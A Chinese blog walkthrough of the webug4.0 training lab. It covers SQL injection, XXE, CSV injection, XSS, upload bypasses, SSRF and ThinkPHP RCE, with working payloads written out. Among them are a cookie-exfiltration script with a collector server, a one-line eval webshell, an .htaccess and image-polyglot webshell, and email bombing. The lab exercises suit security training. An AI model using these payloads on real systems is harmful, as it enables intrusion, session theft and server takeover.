首页 > 技术文章 > webug4.0 打靶笔记-02【完结】

wthuskyblog 2022-03-01 13:08 原文

webug4.0打靶笔记-02

3. 延时注入(时间盲注)

3.1 访问靶场

3.2 寻找注入点

貌似一样的注入点: ?id=1' --+

3.3 判断输出位置

同前两关一样的位置,时间盲注应该不是这样的=-=

?id=1' order by 3 --+ # 判定当前数据库有两个字段
?id=1' union select 1,2 # 判断输出位置
.....

3.4 获取flag

?id=1' union select 1,group_concat(table_name,'.',column_name) from information_schema.columns where table_schema=database() and column_name like '%flag%' --+ # 直接获取本数据库中所有含有falg字样字段的表名和字段

结果:env_list.delFlag,env_list.envFlag,env_path.delFlag,flag.flag
Img
继续查询具体flag

http://172.16.95.134/webug/control/sqlinject/bool_injection.php?id=1' union select 1,group_concat(envFlag) from env_list --+

Img
本关Flag:gfdgdfsdg

3.5 时间盲注思路

真实的时间盲注仍然是不会给出输出位置的,这儿的靶场还是有点不严谨;
下面尝试采用没有输出位的注入方法:
时间盲注和布尔盲注思路比较相似,都是盲注,都不会回显数据和错误信息,只不过布尔盲注可以通过页面的内容的差别进行判断,时间盲注不能够通过页面显示的内容进行判断,但是时间盲注通过使用and if(盲注语句,sleep(5),1) 这样的组合造成页面响应时长差别来进行判断

?id=1' and sleep(10) --+ # 页面出现延迟,说明sleep(10) 得以成功执行,存在注入点
?id=1' and if(length(database())<6,sleep(5),1) --+ # 页面出现延迟,说明length(database())<6成立,执行了and sleep(5),进而造成了页面延迟
?id=1' and if(length(database())<5,sleep(5),1) --+ # 页面立即进行了显示,说明length(database())<5 不成立,执行了 and 1 ,所以没有出现延迟,进而判断数据库名长度为5
......
# 按照布尔盲注的思路继续向下判断,最后猜出flag

3.6 总结

总结一下显错注入,布尔盲注,时间盲注
显错注入:页面回显错误信息和数据,存在语法报错页面和页面数据输出位,能够明显判断注入点和方便查询显示数据;
布尔盲注和时间盲注都属于盲注,所谓盲注就是看不见语法报错页面和数据输出位置,只能靠猜,猜对了和猜错了,页面显示不一样,这是布尔盲注,不管猜对了还是猜错了页面显示都一样,但是可以添加条件让猜对执行sleep()延迟类函数来造成页面延迟来反映,这是时间盲注
以下是盲注常用的一些函数:

left(m,n) # 从左向右截取字符串m返回其前 n 位
substr(m,n,y) # 从字符串m的左边第n位起,取y长度的字符串
ascii(m) # 返回字符m的 ASCII 码
if(str1,str2,str3) # 如果 str1 正确就执行 str2,否则执行 str3
sleep(m) # 使程序暂停 m 秒
length(m) # 返回字符串 m 的长度
count(column_name) # 返回指定列的值的数目

4. POST 注入

之前的都是通过Get方法,以URL传入的参数

4.1 打开靶场

Img

4.2 寻找注入点

还是寻找任何能输入,并有可能传入后端进行执行的位置进行测试
看到个search框,输入'")"')进行测试,果不其然,语法报错,其实这回到第一关显错注入这里了,只不过是提交方式不一样,一个GET一个POST。
这儿注入点为:content=xx' --+,不过还需判断POST中的参数,这只是后端SQL的字段,这个得抓包了
Img
Img
可以看到接受参数是keyWordName

4.3 获取flag

初步进行来回搜索,发现没有输出位,不找了,按没有输出位打,直接盲注
采用如下测试:

POST:keyWordName=dd' and sleep(10) --+

发现注释位不好使了,没有成功注释后面的内容造成了语法报错,仔细一看,居然自POST里用+充当空格,这个东西只在URL中好使,我这脑子,这里面直接敲空格或者%20就行,或者#也可以。。。
Img
更正后,注释好用了,继续...

keyWordName=dd' and sleep(10) # 

Img
???,注释倒是好使了,不过没有按照预期出现延迟
细想一下,应该是sql语法中的查询机制作怪,
当where 条件1 and 条件2 的时候,就是目前这种状态,只有条件1为True的时候,它才会去进行条件2的筛选,也就是才会执行条件2中的sleep(10),而为了确保不管条件1是True还是False,都触发条件2的执行,应该将and调整为or

keyWordName=dd' or sleep(10) #

果然出现了页面延迟,继续接下来的步骤,和上一关一样,只需把and改为or即可,这么想来,上一关用or更为稳妥,因为上一关条件1可以查询出结果,而这关没有搜索出结果,故有此差别。。。

keyWordName=1' or if(length(database())<6,sleep(5),1) # 页面出现延迟
keyWordName=1' or if(length(database())<5,sleep(5),1) # 页面无延迟
...
最后拿到flag

4.4 这儿顺手练习一下burp中的intruder模块

  1. 首先抓包发送到Intruder
    Img
  2. 清除自动添加的payload位置标记
    Img
  3. 在keyWordName位置构造payload并在需要爆破的地方添加标记
keyWordName=1' or if(length(database())=1,sleep(5),1) # 当爆破成功时页面会出现延迟

Img
4. 设置payload参数
Img
5. 设置线程为1,这样方便查看,这个可以根据payload灵活设置
Img
6. 开始爆破,并设置显示请求时间
Img
可以很明显看到5出现了页面延迟,说明执行了sleep(5),length(database())=5 成立;
...ok,剩下步骤一模一样

5. 过滤注入

测试了一圈好像和上关一样,没有任何过滤,看起来注入这块儿设计的都不太合理,去看看源码咋写的...
Img
这。。。原来只过滤了select和SELECT两个,着实有点简单了,而且如果不是只是输入了select或SELECT,那么也不会匹配到。。。
写法有问题,应该用正则或其他方式模糊匹配。。。

6. 宽字节注入

宽字节注入https://www.cnblogs.com/fengshui/p/9266830.html

6.1 打开靶场

Img
又是熟悉的get方式传参,打开hackbar操练

6.2 寻找注入点

依旧是' " 等进行测试,发现都没啥反映,看来是对单引号双引号进行了过滤或替换或转义等预防操作;
测试%df',发现已经报错了

?id=1%df'

Img
添加注释恢复正常

?id=1%df' --+

6.3 判断输出位置

首先判断当前表的列数,方便后续union联合查询

?id=1%df' order by 2 --+
?id=1%df' order by 3 --+

Img
order by 3时出现报错,证明两列
接下来判断是否有输出位

?id=-1%df' union select 1,2 --+

Img
有输出位置

6.4 获取信息

一些常用信息,其中@@global.secure_file_priv控制mysql可以写文件的目录

?id=-1%df' union select 1,group_concat(database(),0x7e,@@datadir,0x7e,@@basedir,0x7e,user(),0x7e,current_user(),0x7e,system_user(),0x7e,version(),0x7e,session_user(),0x7e,@@global.secure_file_priv) --+

Img

?id=-1%df' union select 1,group_concat(table_name,0x7e,column_name) from information_schema.columns where table_schema=database() --+

Img
查找flag

?id=-1%df' union select 1,group_concat(content) from sqlinjection --+

额。。。最后发现这个数据库的这张表里面没有flag还是在webug.env_list中
本关flag:dfsadfsadfas

7. XXE注入

7.1 打开靶场

如下,这个漏洞存在登陆处,随便输入查看效果
Img
页面显示如下,很是熟悉的XML格式,POST过去的,那就抓包传点XML的数据过去看看
Img

7.2 抓包测试

抓到正常包
Img
修改POST的数据,传递XML格式的数据过去,看看是否能解析成功,如下发现可以正常解析,那就构造payload进行利用下

data=<?xml version="1.0"?>
<haha>
    <test>xml6666</test>
</haha>

Img

7.3 构造payload读取任意文件

data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node [
    <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<note>
    <haha>&test;</haha>
</note>

由于XML的格式之间有换行,所以进行一下URL编码再发送
Img
可以看到已经读取到了C:\WINDOWS\win.ini的内容
Img

7.4 XXE攻击扩展

  1. 探测端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node[
    <!ENTITY test SYSTEM "http://127.0.0.1:8080">
]>
<node>
    <haha>&test;</haha>
</node>

URL编码之后发送,发现出现响应延迟,则说明该端口大概率未开放,可以结合Burp中的Intruder模块进行批量探测
Img

8 CSV注入

CSV注入漏洞出现在带有导出.csv/.xls/.xlsx文件功能的网站,当导出的内容可以随意填写时,可以将恶意负载(公式)注入数据库,这样当被导出下载打开后,EXCEL会调用本身的动态功能,执行恶意代码,发动进一步攻击。

8.1 打开靶场

这关靶场有问题,需要修改代码control\sqlinject\csv_vuln.php
修改完成后切换PHP-5.4.45可正常访问
此处参考如下博客
https://blog.csdn.net/weixin_41924764/article/details/107548754
我这边也把代码贴过来了,这个靶场还是不太建议来玩=-=

<?php
	$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	if ($conn) {
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
	if (isset($_POST['daochu'])){
		$headerArray = ['name','age','email'];
		$string = implode(",",$headerArray)."\n";//先做出表头
				
		while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){

			$data = [
				['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]
			];

			foreach ($data as $key => $value) {
			//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;
				$outArray['name'] = $value['name'];
				$outArray['age'] = $value['age'];
				$outArray['email'] = $value['email'];
				$string .= implode(",",$outArray)."\n"; //用英文逗号分开 
			}
			}
			@$filename = date('Ymd').'.csv'; //设置文件名
			header("Content-type:text/csv");
			header("Content-Disposition:attachment;filename=".$filename);
			header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
			header('Expires:0');
			header('Pragma:public');
			exit(mb_convert_encoding($string, "GBK", "UTF-8"));
			}
?>

<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
?>
<!doctype html>
<html>

<head>
    
    <title></title>
</head>
<style>
    body{font-family: Arial, Helvetica, sans-serif;}
    table{border-collapse: collapse;
        width: 50%;
        text-align: center;}
    td,th{border:1px solid #ccc; padding: 2px 5px;}
    button{padding: 5px;}
    div {
        line-height: 3;
    }
</style>
<body>
<?php
    $conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	$i_name =  urlencode($_POST[name]);
	$i_age =  urlencode($_POST[age]);
	$i_email =  urlencode($_POST[email]);
	if ($conn) {
		if ($i_name != null && $i_age != null && $i_email != null){
			$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";
			$res = $conn->query($sql);
		}
	}
    if ($conn) {
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
?>
    <table id="table">
        <tr>
            <th>Name</th>
            <th>Age</th>
            <th>Email</th>
        </tr>
        <?php

        if ($res) {

            while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
                echo '<tr>';
                echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';
                echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';
                echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';
                echo  '<td><div contenteditable="true">'.urldecode($email).'</div></td>';
                echo '</tr>';
            }
        }
        ?>
    </table>
	
	<form action="#" method="post">
		<input name="daochu" type="submit" value="导出"/>
		
		

		
	</form>
	<br>
	<h2>添加新用户信息</h2>
<form action="#" method="post">
	<table id="table">
		<tr>
			<td>Name</td>
			<td>Age</td>
			<td>Email</td>
		</tr>
		<tr>
			<td><input name="name" type="text" size="20"/></td>
			<td><input name="age" type="text" size="20"/></td>
			<td><input name="email" type="text" size="20"/></td>
		</tr>
	</table>
    <div>
	<input name="submit" type="submit" value="确认添加"/>
 </form>
		
        
    </div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script>
    <script>
        var tableToExcel = new TableToExcel();
        document.getElementById('button').onclick = function () {

            tableToExcel.render("table");

        };
        
    </script>
</html>

Img

8.2 漏洞利用

  1. CSV注入利用
    payload
    //这台机器上没有calc,我写点东西弹个记事本好了
    =cmd|' /C calc'!A11
    <!-- 注意下面echo不要有,的出现,否则导出csv会自动分割,无法形成有效命令 -->
    =cmd|'/C echo 6666 inject success!>inject.txt && notepad inject.txt'!A11
    
    执行以上payload之前先将Excel的如下设置打开才能够成功利用,以下也是能够有效防护的措施
    Img
    插入payload
    Img
    导出保存打开
    Img
    Img
    Img
    成功进行命令执行,也可以进行其他木马的写入和执行上线操作,目前对于我来说这些只是停留在理论阶段,还没进行实战,等实战之后再记录。。。
  2. XSS漏洞
    注意到该页面刚打开时,会进行数据库查询,将数据库内的记录显示到页面,所以应该会存在存储性XSS,故测试如下paylaod:
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>

Img
成功执行,可以进一步构造接收cookie的服务器端,实现cookie收集,如下简单的一个存储到文件的服务器端代码:

<?php
    if(isset($_GET['cookie'])){
        $cookie=$_GET['cookie'];
        $time=date('Y-m-d g:i:s');
        $ipaddress=getenv('REMOTE_ADDR');
        $referer=$_SERVER['HTTP_REFERER'];
        $useragent=$_SERVER['HTTP_USER_AGENT'];
        $txt=$time.$cookie.$ipaddress.$referer.$useragent;
        $cookie_file=fopen("cookie_file.txt","w");
        fwrite($cookie_file,$txt);
        fclose($cookie_file);
    }
    // 重定向到可信网站
    header("location:http://www.baidu.com");
?>

payload

<script>document.location="http://172.16.95.134/cookie.php?cookie="+document.cookie</script>

已经收集到了。。。
Img

9. 反射型XSS

9.1 打开靶场寻找注入点

发现id参数可控,而且会再页面输出显示
Img

9.2 测试

传入如下payload

<script>alert(document.cookie)</script>

成功拿到flag
Img

10. 存储型XSS

存储型XSS漏洞的原理就是将恶意代码提交并存储到后端数据库中,当他人再次打开页面时,该页面初始化数据会将恶意代码从数据库中查出显示到页面中,从而导致恶意代码执行造成XSS漏洞

10.1 打开靶场

居然刚开始进入就弹了cookie,不过啥也没有,应该是数据库里有的代码,初始化页面造成了XSS弹窗;
不管它,开始找能输入并提交的地方。。。发现底部有留言板
Img

10.2 测试

<script>alert(1)</script>

Img

10.3 吐槽

简直了,就简单的提交了上面的代码,然后上一关的恶意脚本弹cookie就从本来没有flag多了flag,这么神奇的代码是怎么写的,查看源代码去
Img
好嘛,这再XSS的靶场里过滤SQL注入的东西,虽然可以进行SQL注入,不过这不是存储型XSS漏洞的考察点,还有留言板的历史留言不显示出来,怎么进行XSS,=-=

最后发现flag的显示是只要检测到留言板提交内容中有alert就给设置flag到cookie

验证一下这个靶场奇葩思路
先清空webug_width_byte.storge_xss中的数据

use webug_width_byte;
delete from storge_xss;

重新载入该关,正常,cookie也没有flag,也没有弹窗了
Img
按照设想,留言板输入alert提交,查看cookie是否设置了flag,果然...
Img

11. 万能密码登陆

Img
上来就admin admin ,,,,居然登陆成功了
不过这关考察的是万能密码,应该是如下思路:
Img

12. DOM型XSS

按照这个靶场设计的奇葩思路,我应该只要键入alert不管有没有造成XSS,都会将flag设置到cookie中,到时候F12-->网络就可以看到了
果然
Img
不过这关显然不是这么搞得,走一下正常思路:

12.1 寻找输入框进行测试

我一般是测试<>&@'"6666这种类似的组合形式,然后F12打开查看器进行查找特征字符6666,看会在哪儿进行显示,如下:
Img
是在input的value属性中,而且貌似是双引号可以进行逃逸,那么可以构造如下payload

"> <script>alert(document.cookie)</script>

成功触发XSS漏洞
Img
以下是插入的最终状态,可以看到双引号将value的标签进行了闭合,导致后面的js从中逃逸了出来并进行了执行
Img

13. 过滤XSS

不容易啊,这个靶场居然设置了这种关卡,看看怎么样。。。

13.1 访问靶场

如下,可以看到这关注入点还是在URL中
Img

13.2 测试

  1. 正常流程测试,寻找特征字符显示位置
    可以看到无需进行闭合标签,直接插入即可

    ?id'"<>6666
    

    Img

  2. 测试恶意代码

    ?id=1<script>alert(1)</script>
    

    Img
    应该是检测到script或者alert,哦不,这靶场还指望着alert匹配到设置flag到session呢,应该是script

  3. 绕过过滤

    # 大小写绕过
    ?id=1<ScriPt>alert(1)</ScRiPt>
    

    Img
    失败了,看起来应该是先做了大小写统一转换进行的匹配,尝试其他的标签吧

    # 尝试img标签加载出错事件执行
    ?id=1<img src=1 onerror=alert(document.cookie)>
    

    Img

  4. 其他标签
    这里总结以下其他可以用的标签,不考虑过滤,过滤的情况再说

    # onerror结合alert
    <img src=1 onerror=alert(document.cookie)>
    # onclick结合alert
    <button onclick=alert(document.cookie)>test</button>
    # URL采用javascript伪协议执行
    <a href='javascript:alert(1)'></a>
    

    除开alert之外还可以用confirm() prompt() 来造成弹窗

    看起来打完把这些基础靶场打完后需要来一个阶段性思路总结了

14. 链接注入

这关没有flag,貌似应该归到DOM型XSS里面,攻击如下
Img

15. 任意文件下载

Img
看到file=路径,说明这个文件路径可以被控制,那么修改下路径
Img
点击下载,成功读取到win.ini
然后可以利用字典fuzz敏感文件进行下载
比如我有个字典,其中一条记录就是如下,那么就可以下载到mysql的配置文件
../../../../../../phpStudy/PHPTutorial/MySQL/my.ini

16. mysql文件下载

参考上一关

17. 文件上传(前端拦截)

找到上传点,传个phpinfo上去
Img
不允许上传php类型的,一看就是前端弹窗,直接禁用js或者删除js触发属性(谷歌浏览器这方法不用,可以用火狐)
Img
上传成功,访问文件
Img
Img

18. 文件上传(解析漏洞)

和上关一样前端限制直接绕过,但还是error了,应该是进行了后端验证
Img
不知道是黑名单验证还是白名单验证,先测试以下随机后缀名(test.dsjfisdfj),如果也error则很大概率是白名单,果然是白名单,那么尝试正常的后缀名(jpg,png,gif,jpeg等),jpg上传成功
Img
尝试访问,服务器端是按照图像进行解析的,看起来还是的上传php文件,所以这关和解析漏洞没关系,就是单纯的文件上传漏洞,文件解析漏洞应该是指服务器端将本来不是脚本语言的文件当作脚本语言进行解析,比如虽然上传的是.jpg,依然会被当作.php文件解析,回到这关继续做。。。
Img
这里有坑。。。正常%00绕不过去,以下特殊字符虽然可以上传成功,但是没有代码内容
Img
这里用的是生僻字 da 龘绕过,也是看了别人的视频才通关的,我丢=-=,增加一种思路
Img

19. 文件上传(畸形文件)

按照正常思路先传个php文件,前端验证直接在抓包改后缀名绕过,成功上传,发现返回文件名是随机了,但是php没了,不过还剩个点.,猜测是后端进行了php字符匹配并做了置空操作,可以采用混合写或者大小写的方式绕以下
Img
改成大小写混合,不让后台匹配替换,结果失败
Img
多写几个让后台替换,我看它能替换几次
Img
看起来是做了全部匹配,但是还是留下点东西,说明没有进行递归替换,那就可以是试试phPHPp这种夹杂的,让它替换大写的之后拼接成正常的
Img
ok成功上传
Img

20. 文件上传(截断)

这关试了%00、特殊字符、::$DATA都无法截断,最后还是采用了生僻字进行绕过

21. 文件上传(.htaccess)

这种上传环境一般出现在黑名单过滤中,这关真坑,做了很多遍就是过不去,后来传了个正常的都没成功,原来又是靶场代码有问题,替换以下代码,虽然没有设置黑名单,只是进行了前端验证,不过将就可以进行该关,不浪费时间改代码了

<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');

if ($_FILES['file']['error']) {
    die();
}
if ($_FILES['file']) {
    $arr = $_FILES['file'];
    $file_ext = trim(strtolower(strrchr($arr['name'], ".")));

    if (file_exists(TPMELATE."/upload/".$arr['name'])){
        echo "<script>alert('该文件已经存在')</script>";
    } else{
        $filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);
        move_uploaded_file($arr["tmp_name"],$filename);
        echo $filename;die();
    }
}
require_once TPMELATE."/upload_file_1.html";

按照设想,我们无法上传所有脚本语言格式的文件,但是可以上传.htaccess文件上去,.htaccess内容如下:

<!-- 第一种 虽然好用,但是会误伤其他正常文件,容易被发现 -->
<IfModule mime_module>
AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

<!-- 第二种、精确控制能被解析成php代码的文件,不容易被发现 -->
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>

<!-- 第三种、同1没太大区别 -->
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

这里我用的第二种,首先上传.htaccess文件:
Img
然后上传一个包含php代码的图片
不过有如下要求:

  1. php5.6以下不带nts;
  2. Apache设置AllowOverride All,默认配置为关闭None;
  3. Apache的LoadModule rewrite_module modules/mod_rewrite.so 模块为开启状态;
  4. 上传目录具有可执行权限;

最后这个图片才会被当作php解析并执行其中的代码,这个图片制作方法如下:
按照设想,这个后端会对文件类型进行验证过滤,不允许上传php文件,这种过滤有的是基于后缀名的,有的是基于MIME-Type的,这儿只能上传图片,所以只需要修改MIME—Type了,所以可以如下进行操作
准备一个正常gif图片,和将要上传的PHP代码文件
Img

copy test.php/a+yuanshou.gif/b evil.gif
REM 其中a表示以ascii方式打开,b表示以二进制的方式打开
copy yuanshou.gif/b+test.php/a evil.gif
REM 推荐采用图片在前的方式,这样合并完成后不影响图片正常打开

Img
Img
可以看到使用图片再后的方式会影响图片的正常显示,也有可能会影响后端对文件MIME-Type的验证
Img
然后进行上传,当然也可以直接用文本编辑器打开图片进行插入代码,也可在上传的时候抓包进行十六进制内容修改插入php代码,或者其他方式
Img
访问该图片,因为之前上传了.htaccess文件,所以该图片应该会被当作php文件进行解析,进而执行代码,如下:
Img
php代码之前的就是gif的二进制信息,不是有效php代码,所以直接显示了出来

22. 越权修改密码

这种漏洞一般出现在已经拿到一个账户的密码,或者可以随意注册一个账户(任意用户注册漏洞),然后通过该账户进行水平或垂直越权对其他账户操作,修改密码只是其中一个节点;
这关有两个账户用来测试,分别是admin:admin和aaaaa:asdfsadf
首先登陆admin,进行修改密码的操作,然后抓包进行修改
Img
修改成为第二个账户的id进行放包
Img
修改成功
Img
现在登陆aaaaa账户,密码123456进行验证是否成功修改
Img
成功登陆,修改完成

23. 支付漏洞

这关不建议做,没啥意思,这靶场写的自己骗自己玩,这是它代码
Img

24. 邮箱轰炸

这关也不建议浪费时间,理解这个操作就行,要修改代码中的邮件账户信息才可以,不过我没成功,这个不影响,因为正常进行测试时,这个肯定是正常发送的,这个漏洞主要是利用网站注册功能不对邮箱真实性验证(验证码)和同一机器请求频次验证(验证码发送间隔)造成的漏洞,实现利用网站邮件服务对其他目标邮箱发动轰炸
Img
操作流程如下:
提交注册
Img
抓包发送到Intruder,清掉所有payload Positions
Img
Img
修改payload为Null Payloads 进行100次发送实现轰炸
Img

25. 越权查看admin

这关和22关一致,都是越权漏洞,操作节点不一样而已,以aaaaa的身份登陆成功后,通过修改用户id得以查询相应id的用户信息,说明后端未对当前用户的查询进行合理控制

26. URL跳转

URL 跳转漏洞目前我理解是主要用来钓鱼网站的跳转,使得安全意识差的用户从可信站点跳转至不可信站点的漏洞。
还有如果引用一些资源的限制是依赖于“白名单方式”,同样可能被绕过导致安全风险,譬如常见的一些应用允许引入可信站点如youku.com的视频,限制方式往往是检查URL是否是youku.com来实现,如果youku.com内含一个url跳转漏洞,将导致最终引入的资源属于不可信的第三方资源或者恶意站点,最终导致安全问题。
鼠标移到百度上可以看到该网页采用Get传参进行了URL跳转,并且参数可控;至于后端跳转逻辑有可能是header或者js跳转都可以实现,如果js的话还有可能构成xss漏洞
Img
尝试构造任意URL跳转

http://172.16.95.134/webug/control/more/url_redirect.php?url=https://www.qq.com

27. 文件包含

打开靶场,可以观察到URL中的路径特征,并且路径可控
Img
修改URL,尝试包含其他任意文件,发现包含成功
Img
利用此漏洞可读取服务器上的配置文件,以及结合文件上传漏洞进行利用;
如果还允许进行远程包含,那么可以在远程服务器上搭建web服务提供webshell等恶意代码结合利用进一步攻击,这里直接以本机的其他文件通过远程包含:
Img

28. 命令执行

打开靶场,很熟悉的tp5框架,5.0的版本,如果打不开就换PHP的版本
Img
tp公开的漏洞比较多,这个之后要专门总结一下,网搜一遍后,发现有5.0命令执行漏洞,具体原理就先不研究了,后期学习代码审计的时候研究总结
如下是payload:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Img
还可以用工具直接搞定:
https://github.com/Lotus6/ThinkphpGUI

29. WebShell爆破

我无法访问,找到网站目录也没有这个webshell.php的文件,这关主要就是利用爆破工具进行捡别人上传的webshell,没啥好玩的。
既然没有,那就利用上一关的命令执行写入一个吧,如下是上一关的payload,可写入一句话木马,密码为pwd

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php phpinfo();@eval($_POST['pwd']);?^>  >../../webshell.php

爆破就是利用burp中的Intruder模块进行批量请求找到正确的密码进行链接
至于为啥要爆破这个密码,是因为那个webshell文件是别的黑客上传的,知道路径不知道密码,如果爆破成功相当于不利用漏洞直接getshell。

30. SSRF

打开靶场,观察到URL去请求了一个本地文件,感觉有点像文件包含,不过后端还是有点区别的,SSRF漏洞主要服务器通过PHP伪协议去请求一个不和外界通信的主机上的数据,但是没有做请求过滤,导致攻击者可以利用服务器去请求一些其他敏感数据。
比如:一个公司有个对外提供服务的服务器A,还有一个内部OA系统B不出网,但是A可以访问到B,如果A存在SSRF漏洞,则攻击者可以利用这个漏洞指示服务器A代替攻击者去访问原本访问不到的OA系统B,然后再由服务器A将拿到的数据返回给攻击者。
Img
如下是利用file协议读取了一个敏感文件
Img
如下是进行了端口探测
Img
还可以让服务器端帮我们去访问百度,然后再把内容返回给我们
Img
关于这一点就可以看出文件包含和SSRF的区别了,文件包含是将文件内容导入到代码文件中进行执行,而SSRF发生的地方是服务器代替用户访问数据然后将返回内容返回给用户
某些攻击效果上是一致的,但是SSRF可以用来当作跳板机,攻击其他内部应用或系统。

总结

终于弄完了,拖拖拉拉到现在,是因为最近在找工作,不过结果不太理想,主要还是能力不太行,还需要进行积累沉淀。
对于这个靶场来说,整体还行,主要传达的是基本的漏洞原理,入门还行;
需要总结一下基本漏洞原理,形成自己的思路,免得重复学习,原地踏步,加油!!!

推荐阅读